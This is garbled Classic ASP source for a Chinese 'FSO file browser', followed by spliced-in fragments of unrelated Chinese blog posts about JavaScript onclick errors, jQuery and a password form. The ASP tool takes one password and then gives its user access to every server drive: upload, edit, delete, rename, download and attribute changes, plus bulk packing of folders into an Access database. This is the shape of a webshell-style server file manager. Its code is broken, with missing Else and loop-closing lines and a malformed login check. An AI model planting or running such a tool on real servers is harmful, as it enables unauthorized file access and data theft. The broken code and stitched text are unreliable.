Sub MyUpload(FilePath,IsOverWrite)
Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
RequestSize=Request.TotalBytes
If RequestSize<1 Then Exit Sub
Set oStream=Server.CreateObject("ADODB.Stream")
Set tStream=Server.CreateObject("ADODB.Stream")
With oStream
.Type=1
.Mode=3
.Open
.Write=Request.BinaryRead(RequestSize)
.Position=0
sData=.Read
bCrLf=ChrB(13)&ChrB(10)
iSpaceEnd=InStrB(sData,bCrLf)-1
sSpace=LeftB(sData,iSpaceEnd)
iInfoStart=iSpaceEnd+3
iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
iFileStart=iInfoEnd+5
iFileEnd=InStrB(iFileStart,sData,sSpace)-3
sData="" '清空文件数据
iFileSize=iFileEnd-iFileStart+1
tStream.Type=1
tStream.Mode=3
tStream.Open
.Position=iFileStart-1
.CopyTo tStream,iFileSize
If IsOverWrite Then
tStream.SaveToFile FilePath,2
tStream.SaveToFile FilePath
End If
tStream.Close
.Close
End With
Set tStream=Nothing
Set oStream=Nothing
End Sub
'显示文件属性
Sub Prop(Fname)
On Error Resume Next
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
EchoClose "文件或文件夹不存在!"
Exit Sub
End If
Set oAttrib=New FileAttrib_Cls
oAttrib.Attrib=obj.Attributes
<title>FSO文件浏览器 - 文件属性</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
<script language="javascript">
function
ww(obj)
return false;
</script>
</head>
<body bgcolor="#EEEEEE" topmargin=5>
<form name="pform" method="post" action="?page=fso&act=saveprop&fname=<% =Server.UrlEncode(Fname) %>">
<table align="center" border="1" width="100%" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th colspan="2">FSO文件浏览器 - 文件属性</th></tr>
<tr><td width="100">路径:</td><td><% =obj.Path %></td>
<tr><td width="100">大小:</td><td><% =SizeCount(obj.Size) %></td>
<tr><td width="100">属性:</td>
<
input
type ="checkbox" name="att" value="0"
onclick
="return ww(this);" <% wv oAttrib.n %>>普通
<
input
type ="checkbox" name="att" value="1" <% wv oAttrib.r %>>只读
<
input
type ="checkbox" name="att" value="2" <% wv oAttrib.h %>>隐藏
<
input
type ="checkbox" name="att" value="4" <% wv oAttrib.s %>>系统<br>
<
input
type ="checkbox" name="att" value="16"
onclick
="return ww(this);" <% wv oAttrib.d %>>目录
<
input
type ="checkbox" name="att" value="32" <% wv oAttrib.a %>>存档
<
input
type ="checkbox" name="att" value="1024"
onclick
="return ww(this);" <% wv oAttrib.al %>>链接
<
input
type ="checkbox" name="att" value="2048"
onclick
="return ww(this);" <% wv oAttrib.c %>>压缩
<tr><td width="100">创建时间:</td><td><% =obj.DateCreated %></td>
<tr><td width="100">创建时间:</td><td><% =obj.DateLastModified %></td>
<tr><td width="100">最后访问</td><td><% =obj.DateLastAccessed %></td>
<tr><td colspan=2 align=center><
input
type="submit" name="submit" value="修改" class="b"> <
input
type="button" value="关闭"
onclick
="window.close();" class="b"></td></tr>
</table>
</form>
</body>
</html>
End Sub
'修改属性
Sub SaveProp(Fname)
Dim Attribs,Attrib
Attribs=Replace(Request.Form("att")," ","")
Attribs=Split(Attribs,",")
Attrib=0
Dim i
For i=0 To UBound(Attribs)
Attrib=Attrib+Attribs(i)
'Response.Write Attrib
'Exit Sub
Dim obj,oAttrib
If IsFile(Fname) Then
Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
EchoClose "文件或文件夹不存在!"
Exit Sub
End If
If obj.IsRootFolder Then
EchoClose "不能修改根目录属性!"
Exit Sub
End If
obj.Attributes=Attrib
EchoBack "修改文件属性成功!"
End Sub
'转到上一级文件夹
Sub DirUp()
Dim oFolder,ssFname
If IsFolder(Request("fname")) Then
Set oFolder=oFso.GetFolder(Request("fname"))
If oFolder.IsRootFolder Then
'转至显示驱动器页面
Call Drive()
Exit Sub
ssFname=oFolder.ParentFolder.Path
Set oFolder=Nothing
Call DirList(ssFname)
End If
If IsFile(Request("fname")) Then
'文件下载
Response.Write "文件夹或文件不存在!"
End If
End If
End Sub
'更改文件名页面
Sub Rename()
Dim Fname,sName
Fname=Request("fname")
If IsFolder(Fname) Then
sName=oFso.GetFolder(Fname).Name
If IsFile(Fname) Then
sName=oFso.GetFile(Fname).Name
Response.Write "文件或文件夹不存在!"
Exit Sub
End If
End If
<title>FSO文件浏览器 - 重命名</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
<script language="JavaScript">
function
icheck()
if(document.cform.toname.value=="")
alert("请输入合法的文件名!");
return false;
return true;
</script>
</head>
<body bgcolor="#EEEEEE">
<form action="" name="cform" method="get" onsubmit="return icheck();">
<table align="center" border="1" width="380" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th colspan=2>FSO文件浏览器 - 文件更名</th></tr>
<tr><td align=right>更名为:</td>
<
input
type="hidden" name="page" value="fso">
<
input
type="hidden" name="act" value="saverename">
<
input
type="hidden" name="fname" value="<% =Server.HtmlEncode(Fname) %>">
<
input
type="text" size="40" name="toname" value="<% =Server.HtmlEncode(sName) %>">
<tr><td align=center colspan=2><
input
type="submit" class="b" value="提交"> <
input
type="button" class="b" value="关闭"
onclick
="window.close();"></td></tr>
</table>
</form>
</body>
</html>
End Sub
'更改文件名操作
Sub SaveRename()
Dim Fname,oFolder,oFile,FDir,ToName
Fname=Request("fname")
ToName=Replace(Request("toname"),"\","")
If IsFolder(Fname) Then
Set oFolder=oFso.GetFolder(Fname)
Fname=oFolder.Path
If Right(Fname,1)="\" Then
Fname=Left(Fname,Len(Fname)-1)
End If
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFolder Fname,ToName
If Err Then
EchoBack "文件名不合法!"
EchoClose "文件夹更名成功!\n刷新之后即可看到效果"
End If
Exit Sub
End If
If IsFile(Fname) Then
Set oFile=oFso.GetFile(Fname)
Fname=oFile.Path
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFile Fname,ToName
If Err Then
EchoBack "文件名不合法!"
EchoClose "文件更名成功!\n刷新之后即可看到效果"
End If
Exit Sub
End If
End Sub
'文件打包/解包页面
Sub Page_Pack()
Dim vp,vu
vp=Request("pname")
vu=Request("uname")
If Right(vu,4)<>".mdb" Then
vu=Server.MapPath("/rs_pack.mdb")
End If
<title>FSO文件浏览器 - 文件打包/解包</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#EEEEEE">
<table align="center" border="1" width="380" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th colspan=2>FSO文件浏览器 - 文件打包/解包</th></tr>
<form action="?page=fso&act=savepack" name="pform" method="post">
<tr bgcolor="#FFFFFF">
<td align="right">打包文件夹:</td>
<td><
input
type="text" size="40" name="fpath" value="<% =vp %>"></td>
<tr><td align="right">打包到:</td><td><
input
type="text" size="40" name="dbpath" value="<% =Server.MapPath("/rs_pack.mdb") %>"></td></tr>
<tr bgcolor="#FFFFFF"><td align="center" colspan=2><
input
type="submit" class="b" value="打包"></td></tr>
</form>
<form action="?page=fso&act=saveunpack" name="pform" method="post">
<tr><td align="right">文件包路径:</td><td><
input
type="text" size="40" name="dbpath" value="<% =vu %>"></td></tr>
<tr bgcolor="#FFFFFF">
<td align="right">解包到:</td>
<td><
input
type="text" size="40" name="fpath" value="<% =Server.MapPath("/") %>"></td>
<tr><td align="center" colspan=2><
input
type="submit" class="b" value="解包"></td></tr>
</form>
</table>
</body>
</html>
End Sub
'文件夹内容列表 ========== Dirlist
Sub Dirlist(ByVal Fpath)
If IsFile(Fpath) Then
'下载该文件
Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();</script>"
'Call Download(Fpath)
Exit Sub
End If
If Not IsFolder(Fpath) Then
Response.Write "文件夹不存在!"
Exit Sub
End If
'代码开始
Dim oFolder
Dim sFolder,sFile '文件夹下的子文件夹和文件
Set oFolder=oFso.GetFolder(Fpath)
<title>FSO文件浏览器</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
<style>
button.b { width:60px; font-size:12px; }
</style>
<script language="JavaScript">
var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹
var fselected="";
function
opendial(sUrl) //打开对话框窗口
var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400");
return newWin;
function
fopen(sfname) //打开文件夹或文件
location.href="?page=fso&fname="+escape(sfname);
function
fselect(obj) //选中文件夹或文件
var flen=document.all("f").length;
for(var i=0;i<flen;i++)
document.all("f").item(i).style.backgroundColor="";
obj.style.backgroundColor="#BBBBBB";
fselected=obj.value;
function
toparent() //返回上一级文件夹
location.href="?page=fso&act=up&fname="+escape(folderpath);
function
fnew()
opendial("?page=fso&act=new&fname="+escape(folderpath));
function
frename() //重命名文件
if(fselected=="")
alert("请选择文件或文件夹!");
return false;
opendial("?page=fso&act=rename&fname="+escape(fselected));
function
fdownload() //下载文件
if(fselected=="")
alert("请选择文件!(大小在1MB以下)");
return false;
opendial("?page=fso&act=download&fname="+escape(fselected));
function
fedit() //编辑文本文件
if(fselected=="")
alert("请选择文件!");
return false;
window.open("?page=fso&act=edit&fname="+escape(fselected));
function
fcopy() //复制文件
if(fselected=="")
alert("请选择文件或文件夹!");
return false;
opendial("?page=fso&act=copy&fname="+escape(fselected));
function
fcut() //剪切文件
if(fselected=="")
alert("请选择文件或文件夹!");
return false;
opendial("?page=fso&act=cut&fname="+escape(fselected));
function
fparse() //粘贴文件或文件夹
opendial("?page=fso&act=parse&fname="+escape(folderpath));
function
fdelete()
if(fselected=="")
alert("请选择文件或文件夹!");
return false;
if(!confirm("确定要删除本文件或文件夹?")) return false;
opendial("?page=fso&act=delete&fname="+escape(fselected));
function
fprop() //属性
var vv;
if(fselected=="") vv=folderpath;
else vv=fselected;
window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500");
function
fpack() //打包解包
var vp,vu;
if(fselected=="")
vp=folderpath;
vu=folderpath;
vp=fselected;
vu=fselected;
window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500");
</script>
</head>
<table align="center" cellpadding="3" cellspacing="1" border="1" bordercolor="#6595d6" width="99%">
<tr><th>FSO文件浏览器</th>
<button class="b"
onclick
="fnew();">新建</button>
<button class="b"
onclick
="frename();">重命名</button>
<button class="b"
onclick
="fedit();">编辑</button>
<button class="b"
onclick
="fdownload();">下载</button>
<button class="b"
onclick
="opendial('?page=fso&act=upload&fname='+escape(folderpath));">上传</button>
<button class="b"
onclick
="fcopy();">复制</button>
<button class="b"
onclick
="fcut();">剪切</button>
<button class="b"
onclick
="fparse();">粘贴</button>
<button class="b"
onclick
="fdelete();">删除</button>
<button class="b"
onclick
="fprop();">属性</button>
<button style="height:22px;"
onclick
="fpack();">打包/解包</button>
<button style="height:22px;"
onclick
="location.href='?page=fso&act=drive';"><b>查看磁盘信息</b></button>
<button class="b"
onclick
="location.href='?page=logout';"><b>退出</b></button>
<tr bgcolor="#EEEEEE">
<button class="b"
onclick
="history.go(-1);">←后退</button>
<button class="b"
onclick
="history.go(1);">前进→</button>
<button class="b"
onclick
="toparent();">↑向上</button>
<
input
type="text" style="width:400px;" id="fnt" name="fname" value="<% =Server.HtmlEncode(oFolder.Path) %>">
<
input
type="submit" class="b"
onclick
="fopen(fnt.value);" value="←转到"> <button class="b"
onclick
="fopen(folderpath);">刷新</button>
<select id="paths" onchange="fopen(this.value);">
<option value="" selected>==请选择==</option>
<option value="<% =Server.MapPath("./") %>">当前目录</option>
<option value="<% =Server.MapPath("/") %>">网站根目录</option>
Dim oDrive
For Each oDrive In oFso.Drives
Response.Write "<option value="""&oDrive.DriveLetter&":\"">"&oDrive.DriveLetter&":\</option>"
Set oDrive=Nothing
</select>
<!-- <tr><td><hr width="99%" align="center"></td></tr><tr> -->
<!-- 文件显示开始 -->
<table align="center" cellpadding="3" cellspacing="1" border="1" bordercolor="#6595d6" width="100%">
<tr align="center"><th>文件名</th><th width="100">类型</th><th>大小</th><th>修改时间</th><!-- <th>属性</th> --></tr>
Dim Islight
Islight=False
'逐个显示子文件夹
For Each sFolder In oFolder.SubFolders
Response.Write "<tr height=30"
If Islight Then Response.Write " bgcolor=""#EEEEEE"""
Response.Write ">"
Response.Write "<td id=""f""
onclick
=""fselect(this);"" ondblclick=""fopen(fselected);"" value="""&Server.HtmlEncode(sFolder.Path)&""">"
Response.Write "<font size=5 face='Wingdings'>0</font> "&Web&sFolder.Name
Response.Write "</td>"
Response.Write "<td>文件夹</td>"
Response.Write "<td> </td>"
Response.Write "<td>"&sFolder.DateLastModified&"</td>"
Response.Write "</tr>"&vbCrLf
Islight=Not Islight
'逐个显示文件
For Each sFile In oFolder.Files
Response.Write "<tr height=30"
If Islight Then Response.Write " bgcolor=""#EEEEEE"""
Response.Write ">"
Response.Write "<td id=""f""
onclick
=""fselect(this);"" ondblclick=""fopen(fselected);"" value="""&Server.HtmlEncode(sFile.Path)&""">"
Response.Write "<font size=5 face="&getFileIcon(oFso.GetExtensionName(sFile.Name))&"</font> "&sFile.Name
Response.Write "</td>"
Response.Write "<td>"&sFile.Type&"</td>"
Response.Write "<td>"&SizeCount(sFile.Size)&"</td>"
Response.Write "<td>"&sFile.DateLastModified&"</td>"
Response.Write "</tr>"&vbCrLf
Islight=Not Islight
</table>
<!-- 文件显示结束 -->
</table>
<div align="center" style="font-size:9px;">
T2=Timer()
Runtime=(T2-T1)*1000
Response.Write "Page Processed in <font color=""#FF0000"">"&Runtime&"</font> Mili-seconds"
</body>
</html>
End Sub
'用户登录
Sub Login()
<title>FSO文件浏览器 - 用户登录</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#EEEEEE" onload="document.uform.password.focus();">
<form name="uform" action="?page=loginchk" method="post">
<table align="center" cellpadding="3" cellspacing="1" border="1" bordercolor="#6595d6" width="60%">
<tr><th colspan="2">FSO文件浏览器 - 用户登录</th></tr>
<td>请输入登录密码:</td>
<td><
input
type="password" size="30" name="password"> <
input
type="submit" value="登录" class="b"></td>
</table>
</form>
</body>
</html>
End Sub
'用户登录验证
Sub LoginChk()
If Request.Form("password")<>Password Then
EchoBack "一夫当关,万夫莫开,您的密码不正确!"
Exit Sub
Session(mss & "IsAdminlogin")=True
Response.Redirect "?page=fso"
End If
End Sub
'用户退出
Sub Logout()
Session(mss & "IsAdminlogin")=False
Response.Redirect "?"
End Sub
'显示一个图片
Sub Page_Img()
Dim HexStr
HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B"
Response.ContentType="IMAGE/GIF"
WriteBytes HexStr
End Sub
'输出Css
Sub Page_Css()
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
input
,select,textarea
font-family: Verdana, Arial, "宋体";
font-size: 12px;
color: #000000;
a:link
font-size: 12px;
color: #000000;
text-decoration: none;
a:visited
font-size: 12px;
color: #000000;
text-decoration: none;
a:active
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
a:hover
font-size: 12px;
color: #FF7F24;
text-decoration: underline;
hr { height:1px; color:#6595D6; }
table
BORDER-COLLAPSE: collapse;
table.border
border: 1px solid #6595D6;
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
td.border
border: 1px solid #6595D6;
td.inner
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #FFFFFF;
height:25px;
background-color:#427FBB;
background-image:url(?page=img);
th.border
border: 1px solid #6595D6;
.b { width:55px; height:22px; font-size:12px; }
End Sub
'================
Function
s ==================
Function
IsFolder(ByVal fname)
IsFolder=oFso.FolderExists(fname)
End
Function
Function
IsFile(ByVal fname)
IsFile=oFso.FileExists(fname)
End
Function
'字节数统计 Bytes
Function
SizeCount(ByVal iSize)
On Error Resume Next
Dim size,showsize
size=iSize
showsize=size & " Byte"
if size>1024 then
size=(Size/1024)
showsize=formatnumber(size,3) & " KB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " MB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " GB"
end if
SizeCount = showsize
End
Function
'16进制字符转10进制数字
Function
Hex2Num(v)
Dim w
If IsNumeric(v) Then
w=Int(v)
Select Case UCase(v)
Case "A": w=10
Case "B": w=11
Case "C": w=12
Case "D": w=13
Case "E": w=14
Case "F": w=15
Case Else: w=0
End Select
End If
Hex2Num=w
End
Function
'取得字节字符串的数值
Function
Byte2Num(sByte)
Dim b1,b2
b1=Left(sByte,1)
b2=Right(sByte,1)
Byte2Num=Hex2Num(b1)*16+Hex2Num(b2)
End
Function
'将16进制字节字符串输出为二进制数据
Function
WriteBytes(sBytes)
Dim sByte,i
sByte=Split(sBytes," ")
For i=0 To UBound(sByte)-1
Response.BinaryWrite ChrB(Byte2Num(sByte(i)))
End
Function
'获得文件图标
Function
getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>·"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End
Function
'获得磁盘类型
Function
getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移动磁盘"
Case 2
getDriveType = "本地硬盘"
Case 3
getDriveType = "网络磁盘"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盘"
End Select
End
Function
'判断是否为脚本文件
Function
IsScriptFile(Ext)
Const ScriptExts="asp,aspx,asa,php"
IsScriptFile=False
Dim FileExt,Exts
FileExt=LCase(Ext)
Exts=Split(ScriptExts,",")
Dim i
For i=0 To UBound(Exts)-1
If Exts(i)=FileExt Then
IsScriptFile=True
Exit
Function
End If
IsScriptFile=False
End
Function
'返回消息并关闭
Sub EchoClose(msg)
Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();</script>"
End Sub
'返回消息并关闭
Sub EchoBack(msg)
Response.Write "<script language=""Javascript"">alert("""&msg&""");history.back();</script>"
End Sub
'文件属性类
Class FileAttrib_Cls
Public n,r,h,s,d,a,al,c
Private Sub Class_Initialize()
n=0:r=0:h=0:s=0:d=0:a=0:al=0:c=0
End Sub
Public Property Let Attrib(v)
If v=0 Then
Exit Property
End If
If v>=2048 Then
v=v Mod 2048
End If
If v>=1024 Then
v=v Mod 64
End If
If v>=32 Then
v=v Mod 32
End If
If v>=16 Then
v=v Mod 8
End If
If v>=4 Then
v=v Mod 4
End If
If v>=2 Then
v=v Mod 2
End If
If v>=1 Then
End If
End Property
End Class
'============================ 文件打包及解包过程 =============================
'文件打包
Sub Pack(ByVal FPath, ByVal sDbPath)
Server.ScriptTimeOut=900
Dim DbPath
If Right(sDbPath,4)=".mdb" Then
DbPath=sDbPath
DbPath=sDbPath&".mdb"
End If
If oFso.FolderExists(DbPath) Then
EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\")
Exit Sub
End If
If oFso.FileExists(DbPath) Then
oFso.DeleteFile DbPath
End If
If IsFolder(FPath) Then
RootPath=GetParentFolder(FPath)
If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
EchoBack "请输入文件夹路径!"
Exit Sub
End If
Dim oCatalog,connStr,DataName
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set oCatalog=Server.CreateObject("ADOX.Catalog")
Set rs=Server.CreateObject("ADODB.RecordSet")
On Error Resume Next
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
oCatalog.Create connStr
If Err Then
EchoBack "不能创建数据库文件!"&Replace(DbPath,"\","\\")
Exit Sub
End If
Set oCatalog=Nothing
conn.Open connStr
conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
oStream.Open
oStream.Type=1
rs.Open "Files",conn,3,3
DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
FailFileList="" '打包失败的文件列表
PackFolder FPath
If FailFilelist="" Then
EchoClose "文件夹打包成功!"
Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成!\n以下是打包失败的文件列表:');</Script>"
Response.Write "<body>"&Replace(FailFilelist,"|","<br>")&"</body>"
End If
oStream.Close
rs.Close
conn.Close
End Sub
'添加文件夹(递归)
Sub PackFolder(FolderPath)
If Not IsFolder(FolderPath) Then Exit Sub
Dim oFolder,sFile,sFolder
Set oFolder=oFso.GetFolder(FolderPath)
For Each sFile In oFolder.Files
If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then
PackFile sFile.Path
End If
Set sFile=Nothing
For Each sFolder In oFolder.SubFolders
PackFolder sFolder.Path
Set sFolder=Nothing
End Sub
'添加文件
Sub PackFile(FilePath)
Dim RelPath
RelPath=Replace(FilePath,RootPath,"")
'Response.Write RelPath & "<br>"
On Error Resume Next
Err.Clear
Err=False
oStream.LoadFromFile FilePath
rs.AddNew
rs("FilePath")=RelPath
rs("FileData")=oStream.Read()
rs.Update
If Err Then
'一个文件打包失败
FailFilelist=FailFilelist&FilePath&"|"
End If
End Sub
'===========================================================================
'文件解包
Sub UnPack(vFolderPath,DbPath)
Server.ScriptTimeOut=900
Dim FilePath,FolderPath,sFolderPath
FolderPath=vFolderPath
FolderPath=Trim(FolderPath)
If Mid(FolderPath,2,1)<>":" Then
EchoBack "路径格式错误,无法创建改目录!"
Exit Sub
End If
If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1)
Dim connStr
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set rs=Server.CreateObject("ADODB.RecordSet")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
On Error Resume Next
Err=False
conn.Open connStr
If Err Then
EchoBack "数据库打开错误!"
Exit Sub
End If
Err=False
oStream.Open
oStream.Type=1
rs.Open "Files",conn,1,1
FailFilelist="" '清空失败文件列表
Do Until rs.EOF
Err.Clear
Err=False
FilePath=FolderPath&"\"&rs("FilePath")
FilePath=Replace(FilePath,"\\","\")
sFolderPath=Left(FilePath,InStrRev(FilePath,"\"))
If Not oFso.FolderExists(sFolderPath) Then
CreateFolder(sFolderPath)
End If
oStream.SetEos()
oStream.Write rs("FileData")
oStream.SaveToFile FilePath,2
If Err Then '添加失败文件项目
FailFilelist=FailFilelist&rs("FilePath").Value&"|"
End If
rs.MoveNext
rs.Close
Set rs=Nothing
conn.Close
Set conn=Nothing
Set oStream=Nothing
If FailFilelist="" Then
EchoClose "文件解包成功!"
Response.Write "<link rel='stylesheet' type='text/css' href='?page=css'>"
Response.Write "<Script Language='JavaScript'>alert('文件夹打包完成!\n以下是打包失败的文件列表,请检查');</Script>"
Response.Write "<body>"&Replace(FailFilelist,"|","<br>")&"</body>"
End If
End Sub
'===========================================================================
'===========================================================================
'建立文件夹(递归)
Function
CreateFolder(FolderPath)
On Error Resume Next
Err=False
Dim sParFolder
sParFolder=GetParentFolder(FolderPath)
If Not oFso.FolderExists(sParFolder) Then
CreateFolder(sParFolder)
End If
oFso.CreateFolder(FolderPath)
If Err Then
CreateFolder=False
CreateFolder=True
End If
End
Function
Function
GetParentFolder(Path)
Dim sPath
sPath=Path
If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1)
sPath=Left(sPath,InstrRev(sPath,"\")-1)
GetParentFolder=sPath
End
Function
'============================================================================
Sub wv(v)
If v>0 Then Response.Write " checked "
End Sub
在表格中,我一开始设置form的id 和
onclick
的方法名一样,结果点击
事件
一直告诉我 is not
function
,我琢磨啊琢磨,在一个小时的无尽遨游百度中,终于发现了,
onclick
的方法名不能和id名称一样,不然一直会报错!!!!
友友们,不要向我学习,我直接表格名用来当方法名了!!!!
function
checkboxDan1(obj){
var boxes = document.getElementsByName("checkboxDan1")
for(var i=0;i
后来发现是把这个方法写在$(document).ready(
function
() {})里面了
解决方法:第一个办法就是把这个
function
移出来第二个办法就是改成下面这种形式
window.editServer=
function
(value){
......
添加了个button,实现上传附件功能。但发现页面点了没反应。
F12 控制台查看,提示错误:SCRIPT5007: 属性“formElemVal”的值为 null、未定义或不是
Function
对象
开始调试:
1.jsp代码中,加console.log(变量); F12 控制台查看输出内容。找到报错的地方。
2.formElemVal是一个easyuse.js里定义的,浪费了大半天,发现是引用的问题。
原来的代码是具体引用。实际要引用的那个没在这里。
HTML代码
<tr>
<td colspan="6" style="width:70%;" class="modity">担保信息&nbsp;&nbsp;</td>
<td
在学习JS的时候突然一个简单的
onclick
函数都报错了,
报的错误是”xxx“ is not a
function
at HTML
Input
Element.
onclick
一开始以为是ID没有对应上,结果一查发现
onclick
中的函数名和当前的id不能重复
<button type="button" class="btn btn-info" id="showCheck" ...
from os import times
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.common import exceptions as selenium_ex
import time
from selenium.webdriver.common i...
JQuery提示$(…).on is not a
function
报错
一般是版本太低,引入 jquery-1.8.3.min.js 以上版本即可
OK!分享一波用法!不会的给我私信或者回复留言!
觉得有帮助的可以关注一波!经常分享编程踩坑经验!
在此,对<script>放置位置进行说明:
一般<script>
标签
会放在<head>
标签
中,但是放在<head>
标签
中代表着必须等全部js代码被解析和加载后,才能开始显示页面的内容。那么对于
onclick
()这类执行方法来说,应该是先显示出来页面内容,再去解析js代码。
<label for="password">密码:</label>
<
input
type="password" id="password"><br><br>
<button
onclick
="submitPassword()">提交</button>
<script>
function
submitPassword() {
// 获取密码输入框的值
var password = document.getElementById("password").value;
// 发送密码到服务器
// ...
</script>
这个示例代码将创建一个密码输入框和一个提交按钮。当用户点击提交按钮时,JavaScript将获取密码输入框的值,并将其发送到服务器。您需要将JavaScript代码中的服务器请求替换为您自己的代码,以确保密码安全地发送到服务器。